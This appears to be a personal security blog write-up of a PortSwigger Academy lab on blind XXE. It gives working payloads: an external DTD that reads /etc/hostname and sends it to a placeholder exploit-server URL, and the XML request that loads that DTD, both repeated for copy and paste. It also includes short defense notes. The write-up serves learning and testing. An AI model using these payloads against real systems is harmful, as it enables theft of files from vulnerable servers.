Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-22 · v1.0.0+2026-08-22.8585a7b · 8585a7b
← Back to overview
Security article

Exploiting blind XXE to exfiltrate data using a malicious external DTD

Exploiting blind XXE to exfiltrate data using a malicious external DTD: This lab’s Check stock feature parses XML but doesn't reflect output. My goal was to exploit blind XXE to exfiltrate /etc/hostname using an out‑of‑band (OOB) callback. Because PortSwigger Academy blocks third‑party targets, I used the provided exploit server (or you can use Burp Collaborator (public)). • PortSwigger • XXE • xxe, dtd

2022-11-142 tags
Tags

🎯 Objective

This lab’s Check stock feature parses XML but doesn't reflect output. My goal was to exploit blind XXE to exfiltrate /etc/hostname using an out‑of‑band (OOB) callback. Because PortSwigger Academy blocks third‑party targets, I used the provided exploit server (or you can use Burp Collaborator (public)).


🧩 What I’m exploiting

  • The XML parser supports external entities (XXE).
  • The app parses the XML but shows no inline output → it’s blind.
  • Solution: Host a malicious external DTD that makes the XML parser fetch a URL I control, embedding the file contents in the request.

🧭 Plan (high level)

  1. Host a DTD on the exploit server that:
    • Reads the file with a parameter entity.
    • Dynamically defines a second entity that performs an HTTP request to my server with the file contents in the query string.
  2. Reference that DTD from the in‑band XML sent to Check stock.
  3. Capture the callback in the exploit server (or Collaborator) logs and read the hostname.

🔧 Exploit server setup (external DTD)

On the exploit server, save the following as (for example) /exploit.dtd:

xml
<!-- /exploit.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://YOUR-SERVER-ID.exploit-server.net/?x=%file;'>">
%eval;
%exfil;

Notes

  • %file reads the target file.
  • %eval creates another parameter entity %exfil whose SYSTEM identifier is a URL containing the file contents as a query param.
  • The final %exfil; line forces resolution, which triggers the OOB HTTP request to my server even if the app never renders entity output.

Swap the YOUR-SERVER-ID.exploit-server.net with your exploit server domain. If you prefer Burp Collaborator, point it to your xxxxxxxx.oastify.com/burpcollaborator.net domain instead.


📤 In-band XML that references the DTD

Send this XML to the Check stock endpoint (adjust the path and method to your lab; it’s often POST /product/stock or similar and Content-Type: application/xml):

http
POST /product/stock HTTP/1.1
Host: TARGET
Content-Type: application/xml
Content-Length: ...

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "https://YOUR-SERVER-ID.exploit-server.net/exploit.dtd">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

That’s it. The parser loads /exploit.dtd, expands %file, defines %exfil, and then resolves %exfil; which makes the HTTP GET back to me with the file contents.


🔎 Capturing the loot

  • On the exploit server, open the Access log. You should see a request like:
    • GET /?x=<hostname-value>
  • On Burp Collaborator, open the Collaborator client and look for an HTTP interaction. The query string contains the file content.
  • The /etc/hostname value is typically a short token (e.g., a1b2c3d4). That’s the answer you need.

✅ Result

I received an HTTP callback on my server:
GET /?x=<the-lab-hostname>
That confirmed successful OOB exfiltration and solved the lab.


🧪 Troubleshooting

  • No callbacks?
    • Double‑check the DTD URL in the XML and that your DTD path is correct.
    • Ensure the exploit server is publicly reachable and the DTD is saved.
    • Try HTTP instead of HTTPS (some labs allow both; stick with whatever the server supports).
  • Parser blocked external DTDs?
    • Some labs require placing the exfil step entirely in the external DTD, which we already do. Avoid relying on &exfil; in the XML body.
  • Nothing in query?
    • Use this pattern (already included): define %eval that defines %exfil using &#x25; to safely inject a parameter entity from within a DTD context.

🔒 Defense (my notes)

  • Disable external entity resolution (XXE) in the XML parser (FEATURE_SECURE_PROCESSING, no DOCTYPE, etc.).
  • Use allowlists on Content‑Type and request paths.
  • Terminate requests with external SYSTEM identifiers.
  • Prefer JSON or a hardened XML binding with strict schemas.

📎 Full payloads (copy/paste)

External DTD (/exploit.dtd)

xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://YOUR-SERVER-ID.exploit-server.net/?x=%file;'>">
%eval;
%exfil;

In-band XML (Check stock request body)

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "https://YOUR-SERVER-ID.exploit-server.net/exploit.dtd">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

Replace YOUR-SERVER-ID.exploit-server.net (or use your Burp Collaborator domain) and tweak the request path to match your instance. This write‑up reflects my exact steps and the payloads that worked for me in the lab.

Comments

Comments

Loading comments…

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 What I’m exploiting
  3. 03🧭 Plan (high level)
  4. 04🔧 Exploit server setup (external DTD)
  5. 05📤 In-band XML that references the DTD
  6. 06🔎 Capturing the loot
  7. 07✅ Result
  8. 08🧪 Troubleshooting
  9. 09🔒 Defense (my notes)
  10. 10📎 Full payloads (copy/paste)
  11. 11External DTD (/exploit.dtd)
  12. 12In-band XML (Check stock request body)
Search
Explore

Popular tags

Browse all 30 tags